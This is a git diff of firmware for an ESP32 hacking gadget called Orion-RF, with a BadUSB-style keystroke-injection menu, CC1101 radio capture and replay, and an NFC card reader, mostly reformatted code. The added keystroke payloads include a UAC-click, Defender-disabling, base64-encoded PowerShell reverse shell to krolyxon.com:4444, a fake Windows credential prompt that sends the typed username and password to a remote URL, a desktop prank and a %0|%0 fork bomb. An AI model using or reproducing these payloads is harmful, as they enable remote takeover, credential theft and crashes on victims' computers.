- runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard -Format Image).Save($path); Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
+ for (int i = 0; i < 15; i++) {
+ typeSlow("######### ORION-RF #########");
+ Keyboard.write(KEY_RETURN);
- // Hide Desktop Icons (requires a registry tweak)
- typeSlow("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im explorer.exe && start explorer.exe");
- Keyboard.write(KEY_RETURN);
+ typeSlow(">>> SIGNAL ACQUIRED <<<");
+ Keyboard.write(KEY_RETURN);
- break;
-// ================= FORK BOMB =================
- case 13:
- showRunningScreen("System Stress");
+ typeSlow("[|||||||||||||||||||||||||]");
+ Keyboard.write(KEY_RETURN);
- runCommand("cmd");
- delay(500);
+ Keyboard.write(KEY_RETURN);
+ }
- // The shortest deadly command in Windows
- typeSlow("%0|%0");
- Keyboard.write(KEY_RETURN);
-
- break;
-}
+ break;
+
+ // ================= HACKER TYPER =================
+ case 9:
+ showRunningScreen("Hacker Typer");
+
+ runCommand("cmd");
+
+ delay(700);
+
+ typeSlow("start https://hackertyper.net/");
+ Keyboard.write(KEY_RETURN);
+
+ break;
+ // ================= POWERSHELL REVERSE SHELL =================
+ // ================= DEFENDER BYPASS + NC =================
+ case 10:
+ showRunningScreen("Pwn Mode v2");
+
+ // 1. Open Admin PowerShell
+ Keyboard.press(KEY_LEFT_GUI);
+ Keyboard.press('r');
+ delay(150);
+ Keyboard.releaseAll();
+ delay(500);
+
+ // Open Admin Prompt - using 'powershell' directly to save space
+ typeSlow("powershell Start-Process powershell -Verb runAs");
+ Keyboard.write(KEY_RETURN);
+ delay(2500); // Wait for UAC
+
+ // 2. Bypass UAC (Left Arrow + Enter)
+ Keyboard.write(KEY_LEFT_ARROW);
+ delay(200);
+ Keyboard.write(KEY_RETURN);
+ delay(3000); // Give the Admin window time to load
+
+ // 3. AMSI Bypass + Disable Defender + Execute Shell
+ // We use -EncodedCommand to hide the script from simple string scanners.
+ // The Base64 string below contains:
+ // Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
+
+ typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden "
+ "-EncodedCommand ");
+
+ // This is the encoded payload for krolyxon.com:4444
+ typeSlow(
+ "JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAG"
+ "UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0"
+ "AHIAaQBuAGcAKAAiAEgA"
+ "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAb"
+ "QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHI"
+ "AbwBsAHkAeABvAG4A"
+ "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAG"
+ "UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5"
+ "AHQAZQBzACAAPQA"
+ "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AI"
+ "AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGI"
+ "AeQB0AGUAcwAuAEw"
+ "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOA"
+ "GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQA"
+ "uAFQAZQB4AHQAL"
+ "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQ"
+ "AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoA"
+ "GkAZQB4ACAAJAB"
+ "kAGEAdABhACAAMgA+"
+ "ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYw"
+ "BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
+ "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGU"
+ "AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJA"
+ "CkALgBHAGUAd"
+ "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0"
+ "ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5A"
+ "HQAZQAuAEwAZQB"
+ "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAa"
+ "WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQB"
+ "zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAb"
+ "gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHI"
+ "AcgBhAHkAKAApACkAKQA=");
+
+ Keyboard.write(KEY_RETURN);
+ break;
+ // ================= CREDENTIAL SNATCHER =================
+ case 11:
+ showRunningScreen("Vault Crack");
+
+ // Open hidden PowerShell
+ runCommand(
+ "powershell -nop -W Hidden -c \"$cred = "
+ "$host.ui.PromptForCredential('Windows Security','Please authenticate "
+ "to update your system credentials.','',''); $p = "
+ "$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
+ "Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
+
+ break;
+ // ================= DESKTOP GHOST =================
+ case 12:
+ showRunningScreen("Ghost Mode");
+
+ runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName "
+ "System.Windows.Forms; "
+ "[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
+ "Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
+ "-Format Image).Save($path); Set-ItemProperty -Path "
+ "'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; "
+ "rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
+
+ // Hide Desktop Icons (requires a registry tweak)
+ typeSlow("reg add "
+ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv"
+ "anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
+ "explorer.exe && start explorer.exe");
+ Keyboard.write(KEY_RETURN);
+
+ break;
+ // ================= FORK BOMB =================
+ case 13:
+ showRunningScreen("System Stress");
+
+ runCommand("cmd");
+ delay(500);
+
+ // The shortest deadly command in Windows
+ typeSlow("%0|%0");
+ Keyboard.write(KEY_RETURN);
+
+ break;
+ }
}
-
-
diff --git a/src/main.cpp b/src/main.cpp
index bc93dd5..280617b 100644
--- a/src/main.cpp
+++ b/src/main.cpp
@@ -2,9 +2,9 @@
#include <USB.h>
#include <USBHIDKeyboard.h>
+#include "libs/BleMouse.h"
#include <BLEDevice.h>
#include <BLEScan.h>
-#include "libs/BleMouse.h"
#include <RF24.h>
#include <nRF24L01.h>
@@ -14,15 +14,14 @@
#include <WiFi.h>
#include <esp_wifi.h>
+#include <SPI.h>
#include <esp_chip_info.h>
#include <esp_heap_caps.h>
#include <esp_system.h>
-#include <SPI.h>
-
#include "ui/display.h"
-#include "utils/buttons.h"
#include "ui/menu.h"
+#include "utils/buttons.h"
#include "config.h"
#include "rf/cc1101.h"
@@ -33,12 +32,10 @@ USBHIDKeyboard Keyboard;
// ===== BLE MOUSE =====
BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
-
RF24 radio1(CE1_PIN, CSN1_PIN);
RF24 radio2(CE2_PIN, CSN2_PIN);
SPIClass *RADIO_SPI;
-
void deactivateNRF1() {
digitalWrite(CSN1_PIN, HIGH);
digitalWrite(CE1_PIN, LOW);
@@ -49,94 +46,80 @@ void deactivateNRF2() {
digitalWrite(CE2_PIN, LOW);
}
-
// ================= SYSTEM INFO =================
-void printSystemUsage()
-{
- esp_chip_info_t chip_info;
+void printSystemUsage() {
+ esp_chip_info_t chip_info;
- esp_chip_info(&chip_info);
+ esp_chip_info(&chip_info);
- Serial.printf("CPU cores: %d\n", chip_info.cores);
+ Serial.printf("CPU cores: %d\n", chip_info.cores);
- Serial.printf(
- "Free heap: %d bytes\n",
- heap_caps_get_free_size(MALLOC_CAP_DEFAULT)
- );
+ Serial.printf("Free heap: %d bytes\n",
+ heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
- Serial.printf(
- "PSRAM free: %d bytes\n",
- heap_caps_get_free_size(MALLOC_CAP_SPIRAM)
- );
+ Serial.printf("PSRAM free: %d bytes\n",
+ heap_caps_get_free_size(MALLOC_CAP_SPIRAM));
}
-void showSplash()
-{
- u8g2.clearBuffer();
+void showSplash() {
+ u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_logisoso20_tr); // big font
- u8g2.drawStr(10, 40, "Orion-RF");
+ u8g2.setFont(u8g2_font_logisoso20_tr); // big font
+ u8g2.drawStr(10, 40, "Orion-RF");
- u8g2.setFont(u8g2_font_5x8_tr); // small subtitle
- u8g2.drawStr(25, 58, "Initializing...");
+ u8g2.setFont(u8g2_font_5x8_tr); // small subtitle
+ u8g2.drawStr(25, 58, "Initializing...");
- u8g2.sendBuffer();
+ u8g2.sendBuffer();
- delay(1500); // 1.5 sec
+ delay(1500); // 1.5 sec
}
-
// ================= SETUP =================
-void setup()
-{
- Serial.begin(115200);
+void setup() {
+ Serial.begin(115200);
- displayInit();
- showSplash();
+ displayInit();
+ showSplash();
- buttonsInit();
- menuInit();
+ buttonsInit();
+ menuInit();
- delay(1500);
+ delay(1500);
- USB.begin();
- Keyboard.begin();
+ USB.begin();
+ Keyboard.begin();
+ // NRF SPI safety
+ // pinMode(CSN1_PIN, OUTPUT);
+ // digitalWrite(CSN1_PIN, HIGH);
+ // pinMode(CSN2_PIN, OUTPUT);
+ // digitalWrite(CSN2_PIN, HIGH);
+ deactivateNRF1();
+ deactivateNRF2();
- // NRF SPI safety
- //pinMode(CSN1_PIN, OUTPUT);
- //digitalWrite(CSN1_PIN, HIGH);
+ RADIO_SPI = new SPIClass(FSPI);
+ RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI);
- //pinMode(CSN2_PIN, OUTPUT);
- //digitalWrite(CSN2_PIN, HIGH);
- deactivateNRF1();
- deactivateNRF2();
+ // ===== CC1101 SPI INIT =====
+ // SPI.begin(
+ // cc1101_SCK,
+ // cc1101_MISO,
+ // cc1101_MOSI,
+ // CC1101_CS
+ //);
- RADIO_SPI = new SPIClass(FSPI);
- RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI);
+ // pinMode(CC1101_CS, OUTPUT);
+ // pinMode(CC1101_2_CS, OUTPUT);
- // ===== CC1101 SPI INIT =====
- //SPI.begin(
- // cc1101_SCK,
- // cc1101_MISO,
- // cc1101_MOSI,
- // CC1101_CS
- //);
+ // digitalWrite(CC1101_CS, HIGH);
+ // digitalWrite(CC1101_2_CS, HIGH);
- //pinMode(CC1101_CS, OUTPUT);
- //pinMode(CC1101_2_CS, OUTPUT);
+ printSystemUsage();
- //digitalWrite(CC1101_CS, HIGH);
- //digitalWrite(CC1101_2_CS, HIGH);
-
- printSystemUsage();
-
- Serial.println("SYSTEM READY");
+ Serial.println("SYSTEM READY");
}
// ================= LOOP =================
-void loop()
-{
- menuLoop();
-}
+void loop() { menuLoop(); }
diff --git a/src/nfc/nfc.cpp b/src/nfc/nfc.cpp
index 474b4a0..99dc1a7 100644
--- a/src/nfc/nfc.cpp
+++ b/src/nfc/nfc.cpp
@@ -1,117 +1,104 @@
#include "nfc.h"
+#include <Adafruit_PN532.h>
#include <Arduino.h>
#include <Wire.h>
-#include <Adafruit_PN532.h>
-#include "ui/display.h"
-#include "../utils/buttons.h"
#include "../config.h"
+#include "../utils/buttons.h"
+#include "ui/display.h"
-#define PN532_IRQ -1
+#define PN532_IRQ -1
#define PN532_RESET -1
-//Adafruit_PN532 nfc(Wire);
+// Adafruit_PN532 nfc(Wire);
Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire);
-void drawWaiting()
-{
- u8g2.clearBuffer();
+void drawWaiting() {
+ u8g2.clearBuffer();
- u8g2.drawStr(10, 20, "PN532 Ready");
- u8g2.drawStr(10, 40, "Tap NFC Card");
+ u8g2.drawStr(10, 20, "PN532 Ready");
+ u8g2.drawStr(10, 40, "Tap NFC Card");
- u8g2.sendBuffer();
+ u8g2.sendBuffer();
}
-void showUID(uint8_t *uid, uint8_t uidLength)
-{
- char line[64];
+void showUID(uint8_t *uid, uint8_t uidLength) {
+ char line[64];
- String uidStr = "";
+ String uidStr = "";
- for (int i = 0; i < uidLength; i++)
- {
- if (uid[i] < 0x10)
- uidStr += "0";
+ for (int i = 0; i < uidLength; i++) {
+ if (uid[i] < 0x10)
+ uidStr += "0";
- uidStr += String(uid[i], HEX);
- uidStr += " ";
- }
+ uidStr += String(uid[i], HEX);
+ uidStr += " ";
+ }
- uidStr.toUpperCase();
+ uidStr.toUpperCase();
- u8g2.clearBuffer();
+ u8g2.clearBuffer();
- u8g2.drawStr(0, 15, "Card Detected");
+ u8g2.drawStr(0, 15, "Card Detected");
- snprintf(line, sizeof(line), "UID:");
+ snprintf(line, sizeof(line), "UID:");
- u8g2.drawStr(0, 35, line);
+ u8g2.drawStr(0, 35, line);
- u8g2.drawStr(0, 50, uidStr.c_str());
+ u8g2.drawStr(0, 50, uidStr.c_str());
- u8g2.sendBuffer();
+ u8g2.sendBuffer();
}
-void pn532_init()
-{
- delay(100);
- nfc.begin();
- delay(100);
+void pn532_init() {
+ delay(100);
+ nfc.begin();
+ delay(100);
- uint32_t versiondata = nfc.getFirmwareVersion();
+ uint32_t versiondata = nfc.getFirmwareVersion();
- if (!versiondata)
- {
- Serial.println("PN532 not found");
+ if (!versiondata) {
+ Serial.println("PN532 not found");
- u8g2.clearBuffer();
- u8g2.drawStr(0, 20, "PN532 NOT FOUND");
- u8g2.sendBuffer();
+ u8g2.clearBuffer();
+ u8g2.drawStr(0, 20, "PN532 NOT FOUND");
+ u8g2.sendBuffer();
- delay(2000);
- return;
- }
+ delay(2000);
+ return;
+ }
- Serial.println("PN532 initialized");
+ Serial.println("PN532 initialized");
- nfc.SAMConfig();
+ nfc.SAMConfig();
}
-void pn532_scan_loop()
-{
- pn532_init();
+void pn532_scan_loop() {
+ pn532_init();
- drawWaiting();
+ drawWaiting();
- while (1)
- {
- uint8_t success;
- uint8_t uid[7];
- uint8_t uidLength;
+ while (1) {
+ uint8_t success;
+ uint8_t uid[7];
+ uint8_t uidLength;
- Serial.println("Scanning...");
- success = nfc.readPassiveTargetID(
- PN532_MIFARE_ISO14443A,
- uid,
- &uidLength,
- 50
- );
+ Serial.println("Scanning...");
+ success =
+ nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength, 50);
- if (success)
- {
- Serial.println("Card detected");
+ if (success) {
+ Serial.println("Card detected");
- showUID(uid, uidLength);
+ showUID(uid, uidLength);
- delay(1000);
- }
+ delay(1000);
+ }
- if (btnBack())
- {
- delay(150);
- break;
- }
+ if (btnBack()) {
+ delay(150);
+ break;
}
+ }
}
diff --git a/src/rf/cc1101.cpp b/src/rf/cc1101.cpp
index 50530f4..f9b16b7 100644
--- a/src/rf/cc1101.cpp
+++ b/src/rf/cc1101.cpp
@@ -1,10 +1,10 @@
-#include <Arduino.h>
-#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include "cc1101.h"
#include "../config.h"
-#include "SPI.h"
+#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include "../ui/display.h"
#include "../utils/buttons.h"
+#include "SPI.h"
+#include <Arduino.h>
// ===== CONFIG =====
#define RAW_BUF_MAX 512
@@ -26,383 +26,332 @@ float rxBW = 325.0;
int powerLevel = 10;
// ===== ISR =====
-void IRAM_ATTR pulseISR()
-{
- unsigned long now = micros();
+void IRAM_ATTR pulseISR() {
+ unsigned long now = micros();
- if (!capturing) return;
- if (pulseIndex >= RAW_BUF_MAX) return;
+ if (!capturing)
+ return;
+ if (pulseIndex >= RAW_BUF_MAX)
+ return;
- unsigned long duration = now - lastEdgeTime;
+ unsigned long duration = now - lastEdgeTime;
- if (duration < 150) return;
+ if (duration < 150)
+ return;
- captureBuffer[pulseIndex++] = duration;
- lastEdgeTime = now;
+ captureBuffer[pulseIndex++] = duration;
+ lastEdgeTime = now;
}
// ===== OOK SETUP =====
-void setupOOKMode()
-{
- ELECHOUSE_cc1101.SetRx();
- ELECHOUSE_cc1101.setMHZ(currentFreq);
-
- ELECHOUSE_cc1101.setModulation(2); // ASK/OOK
- ELECHOUSE_cc1101.setDRate(dataRate);
- ELECHOUSE_cc1101.setDeviation(0);
- ELECHOUSE_cc1101.setRxBW(rxBW);
- ELECHOUSE_cc1101.setSyncMode(0);
- ELECHOUSE_cc1101.setPA(powerLevel);
+void setupOOKMode() {
+ ELECHOUSE_cc1101.SetRx();
+ ELECHOUSE_cc1101.setMHZ(currentFreq);
+
+ ELECHOUSE_cc1101.setModulation(2); // ASK/OOK
+ ELECHOUSE_cc1101.setDRate(dataRate);
+ ELECHOUSE_cc1101.setDeviation(0);
+ ELECHOUSE_cc1101.setRxBW(rxBW);
+ ELECHOUSE_cc1101.setSyncMode(0);
+ ELECHOUSE_cc1101.setPA(powerLevel);
}
// ===== INIT (LAZY, SAFE) =====
// ================= CC1101 INIT =================
-bool initCC1101()
-{
- Serial.println();
- Serial.println("===== CC1101 INIT =====");
-
- // ===== SPI =====
- SPI.begin(
- cc1101_SCK,
- cc1101_MISO,
- cc1101_MOSI,
- CC1101_CS
- );
-
- pinMode(CC1101_CS, OUTPUT);
- digitalWrite(CC1101_CS, HIGH);
-
- delay(100);
-
- // ===== GDO =====
- ELECHOUSE_cc1101.setGDO(
- CC1101_GDO0,
- -1
- );
-
- ELECHOUSE_cc1101.setSpiPin(
- cc1101_SCK,
- cc1101_MISO,
- cc1101_MOSI,
- CC1101_CS
- );
-
- // ===== DETECT =====
- Serial.println("Checking chip...");
-
- if (!ELECHOUSE_cc1101.getCC1101())
- {
- Serial.println("❌ CC1101 NOT FOUND");
- return false;
- }
+bool initCC1101() {
+ Serial.println();
+ Serial.println("===== CC1101 INIT =====");
+
+ // ===== SPI =====
+ SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
+
+ pinMode(CC1101_CS, OUTPUT);
+ digitalWrite(CC1101_CS, HIGH);
+
+ delay(100);
+
+ // ===== GDO =====
+ ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1);
+
+ ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
+
+ // ===== DETECT =====
+ Serial.println("Checking chip...");
- Serial.println("✅ CC1101 FOUND");
+ if (!ELECHOUSE_cc1101.getCC1101()) {
+ Serial.println("❌ CC1101 NOT FOUND");
+ return false;
+ }
- // ===== IMPORTANT =====
- // DO NOT CALL Init()
- // it freezes on some ESP32-S3 setups
+ Serial.println("✅ CC1101 FOUND");
- // ===== MANUAL CONFIG =====
- ELECHOUSE_cc1101.setMHZ(currentFreq);
+ // ===== IMPORTANT =====
+ // DO NOT CALL Init()
+ // it freezes on some ESP32-S3 setups
- // 2 = ASK/OOK
- ELECHOUSE_cc1101.setModulation(2);
+ // ===== MANUAL CONFIG =====
+ ELECHOUSE_cc1101.setMHZ(currentFreq);
- ELECHOUSE_cc1101.setDRate(dataRate);
+ // 2 = ASK/OOK
+ ELECHOUSE_cc1101.setModulation(2);
- ELECHOUSE_cc1101.setRxBW(rxBW);
+ ELECHOUSE_cc1101.setDRate(dataRate);
- ELECHOUSE_cc1101.setDeviation(0);
+ ELECHOUSE_cc1101.setRxBW(rxBW);
- // disable sync requirement
- ELECHOUSE_cc1101.setSyncMode(0);
+ ELECHOUSE_cc1101.setDeviation(0);
- ELECHOUSE_cc1101.setPA(powerLevel);
+ // disable sync requirement
+ ELECHOUSE_cc1101.setSyncMode(0);
- // async serial mode
- ELECHOUSE_cc1101.setCCMode(0);
+ ELECHOUSE_cc1101.setPA(powerLevel);
- // enter RX
- ELECHOUSE_cc1101.SetRx();
+ // async serial mode
+ ELECHOUSE_cc1101.setCCMode(0);
- pinMode(CC1101_GDO0, INPUT);
+ // enter RX
+ ELECHOUSE_cc1101.SetRx();
- Serial.println("✅ RX MODE READY");
+ pinMode(CC1101_GDO0, INPUT);
- cc1101Inited = true;
- return true;
+ Serial.println("✅ RX MODE READY");
+
+ cc1101Inited = true;
+ return true;
}
// ===== CAPTURE CONTROL =====
-void startCapture()
-{
- pulseIndex = 0;
- capturing = true;
- lastEdgeTime = micros();
-
- attachInterrupt(
- digitalPinToInterrupt(CC1101_GDO0),
- pulseISR,
- CHANGE
- );
-
- Serial.println("Looking for RF... ");
-}
+void startCapture() {
+ pulseIndex = 0;
+ capturing = true;
+ lastEdgeTime = micros();
-bool isCC1101Ready() {
- return cc1101Inited;
+ attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE);
+
+ Serial.println("Looking for RF... ");
}
-void stopCapture()
-{
- capturing = false;
+bool isCC1101Ready() { return cc1101Inited; }
+
+void stopCapture() {
+ capturing = false;
- detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
+ detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
- Serial.println("Capture stopped");
+ Serial.println("Capture stopped");
}
// ===== DEBUG PRINT =====
-void printCapture()
-{
- Serial.println("Captured pulses:");
+void printCapture() {
+ Serial.println("Captured pulses:");
- for (int i = 0; i < pulseIndex; i++)
- {
- Serial.println(captureBuffer[i]);
- }
+ for (int i = 0; i < pulseIndex; i++) {
+ Serial.println(captureBuffer[i]);
+ }
}
-
// ================= REPLAY =================
-void replaySignal()
-{
- Serial.println();
- Serial.println("Replaying signal...");
+void replaySignal() {
+ Serial.println();
+ Serial.println("Replaying signal...");
- stopCapture();
+ stopCapture();
- ELECHOUSE_cc1101.SetTx();
+ ELECHOUSE_cc1101.SetTx();
- pinMode(CC1101_GDO0, OUTPUT);
+ pinMode(CC1101_GDO0, OUTPUT);
- for (int i = 0; i < pulseIndex; i++)
- {
- digitalWrite(
- CC1101_GDO0,
- (i % 2 == 0) ? HIGH : LOW
- );
+ for (int i = 0; i < pulseIndex; i++) {
+ digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW);
- delayMicroseconds(captureBuffer[i]);
- }
+ delayMicroseconds(captureBuffer[i]);
+ }
- digitalWrite(CC1101_GDO0, LOW);
+ digitalWrite(CC1101_GDO0, LOW);
- ELECHOUSE_cc1101.SetRx();
+ ELECHOUSE_cc1101.SetRx();
- pinMode(CC1101_GDO0, INPUT);
+ pinMode(CC1101_GDO0, INPUT);
- Serial.println("Replay complete");
+ Serial.println("Replay complete");
}
-
-void captureAndDisplay()
-{
- if (!cc1101Inited)
- {
- if (!initCC1101())
- {
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x10_tr);
- u8g2.drawStr(0, 20, "CC1101 Failed");
- u8g2.sendBuffer();
- return;
- }
+void captureAndDisplay() {
+ if (!cc1101Inited) {
+ if (!initCC1101()) {
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+ u8g2.drawStr(0, 20, "CC1101 Failed");
+ u8g2.sendBuffer();
+ return;
}
+ }
+
+ startCapture();
+
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+ u8g2.drawStr(0, 12, "CC1101 Capture");
+ u8g2.drawStr(0, 28, "Waiting RF...");
+ u8g2.drawStr(0, 60, "BACK = Exit");
+ u8g2.sendBuffer();
- startCapture();
+ unsigned long lastSignal = millis();
+ int lastPulseCount = 0;
+ while (true) {
+ // signal detected
+ if (pulseIndex > lastPulseCount) {
+ lastPulseCount = pulseIndex;
+ lastSignal = millis();
+ }
+
+ // update OLED
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
+
u8g2.drawStr(0, 12, "CC1101 Capture");
- u8g2.drawStr(0, 28, "Waiting RF...");
- u8g2.drawStr(0, 60, "BACK = Exit");
+
+ u8g2.setCursor(0, 28);
+ u8g2.print("Pulses: ");
+ u8g2.print(pulseIndex);
+
+ u8g2.setCursor(0, 42);
+ u8g2.print("Freq: ");
+ u8g2.print(currentFreq);
+ u8g2.print(" MHz");
+
+ if (pulseIndex > 0) {
+ u8g2.drawStr(0, 54, "Signal Detected");
+ } else {
+ u8g2.drawStr(0, 54, "Waiting...");
+ }
+
u8g2.sendBuffer();
- unsigned long lastSignal = millis();
- int lastPulseCount = 0;
-
- while (true)
- {
- // signal detected
- if (pulseIndex > lastPulseCount)
- {
- lastPulseCount = pulseIndex;
- lastSignal = millis();
- }
-
- // update OLED
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x10_tr);
-
- u8g2.drawStr(0, 12, "CC1101 Capture");
-
- u8g2.setCursor(0, 28);
- u8g2.print("Pulses: ");
- u8g2.print(pulseIndex);
-
- u8g2.setCursor(0, 42);
- u8g2.print("Freq: ");
- u8g2.print(currentFreq);
- u8g2.print(" MHz");
-
- if (pulseIndex > 0)
- {
- u8g2.drawStr(0, 54, "Signal Detected");
- }
- else
- {
- u8g2.drawStr(0, 54, "Waiting...");
- }
-
- u8g2.sendBuffer();
-
- // auto print once capture stabilizes
- if (pulseIndex > 20 && (millis() - lastSignal > 1500))
- {
- stopCapture();
-
- Serial.println();
- Serial.println("===== RF CAPTURE =====");
-
- for (int i = 0; i < pulseIndex; i++)
- {
- Serial.print(captureBuffer[i]);
- Serial.print(", ");
- }
-
- Serial.println();
-
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x10_tr);
- u8g2.drawStr(0, 15, "Capture Complete");
-
- u8g2.setCursor(0, 35);
-}
-}
-}
+ // auto print once capture stabilizes
+ if (pulseIndex > 20 && (millis() - lastSignal > 1500)) {
+ stopCapture();
+
+ Serial.println();
+ Serial.println("===== RF CAPTURE =====");
+
+ for (int i = 0; i < pulseIndex; i++) {
+ Serial.print(captureBuffer[i]);
+ Serial.print(", ");
+ }
-void handleMenu()
-{
- if (!isCC1101Ready())
- {
- if (!initCC1101())
- {
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x10_tr);
- u8g2.drawStr(0, 20, "CC1101 Failed");
- u8g2.sendBuffer();
- delay(1500);
- return;
- }
+ Serial.println();
+
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+ u8g2.drawStr(0, 15, "Capture Complete");
+
+ u8g2.setCursor(0, 35);
}
+ }
+}
- pulseIndex = 0;
+void handleMenu() {
+ if (!isCC1101Ready()) {
+ if (!initCC1101()) {
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+ u8g2.drawStr(0, 20, "CC1101 Failed");
+ u8g2.sendBuffer();
+ delay(1500);
+ return;
+ }
+ }
- startCapture();
+ pulseIndex = 0;
- // ===== CAPTURE FOR 5 SEC =====
- unsigned long start = millis();
+ startCapture();
- while (millis() - start < 5000)
- {
- noInterrupts();
- int count = pulseIndex;
- interrupts();
+ // ===== CAPTURE FOR 5 SEC =====
+ unsigned long start = millis();
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x10_tr);
+ while (millis() - start < 5000) {
+ noInterrupts();
+ int count = pulseIndex;
+ interrupts();
- u8g2.drawStr(0, 12, "RF Capturing...");
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
- u8g2.setCursor(0, 30);
- u8g2.print("Pulses: ");
- u8g2.print(count);
+ u8g2.drawStr(0, 12, "RF Capturing...");
- u8g2.sendBuffer();
+ u8g2.setCursor(0, 30);
+ u8g2.print("Pulses: ");
+ u8g2.print(count);
- delay(50);
- }
+ u8g2.sendBuffer();
- stopCapture();
+ delay(50);
+ }
- // ===== DISPLAY CAPTURE BUFFER =====
- int scroll = 0;
+ stopCapture();
- while (1)
- {
- noInterrupts();
- int count = pulseIndex;
- interrupts();
+ // ===== DISPLAY CAPTURE BUFFER =====
+ int scroll = 0;
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_5x8_tr);
+ while (1) {
+ noInterrupts();
+ int count = pulseIndex;
+ interrupts();
- u8g2.drawStr(0, 8, "Captured Buffer");
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_5x8_tr);
- // display 6 lines
- for (int i = 0; i < 6; i++)
- {
- int idx = scroll + i;
+ u8g2.drawStr(0, 8, "Captured Buffer");
- if (idx >= count)
- break;
